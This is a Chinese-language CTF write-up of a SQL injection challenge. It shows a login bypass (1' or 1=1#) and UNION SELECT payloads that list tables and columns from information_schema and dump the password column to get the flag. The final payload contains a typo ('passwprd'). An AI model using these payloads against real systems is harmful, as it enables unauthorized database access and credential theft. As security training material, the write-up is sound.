进入靶场后感觉这个SQL很熟悉,跟之前的第一关easySQL相似。但是这关显然要更难一点。
还是用之前的方法,用1'试试发现有回显,所以这一关还是单引号闭合。
首先使用万能用户名,密码随便输入
1' or 1=1#
得到提示,此时发现他的用户名是adimin,密码是72f7a6b4e1887bbc55e9d38486f2c1a2。但是输入后得到错误,说明此时万能用户名行不通
既然万能用户名行不通,那么我们就使用万能密码,用户名使用admin。
1' union select 1,2,database()#
此时发现登录成功,并且爆出了数据库geek
在这里注意一下,在CTF中SQL注入漏洞flag通常会放在当前使用的数据库中,这里已经有了数据库所以可以直接爆出数据库的表
在密码输入以下的payload:
1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())#
爆出了geekuser和l0ve1ysq1两张表。我们要找的flag就在l0ve1ysq1表里面,为什么在第两张表里面,请张大你的眼睛看题目
既然爆出了表,接下来就是爆出表里面的字段了,同样的使用payload
1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database())#
发现爆出了字段id username password,我们的flag就在password里面。接下来就是爆出字段里面的内容,步骤同上述相同
构造的payload为:
1' union select 1,2,(select group_concat(passwprd) from l0ve1ysq1)#
最后就爆出flag了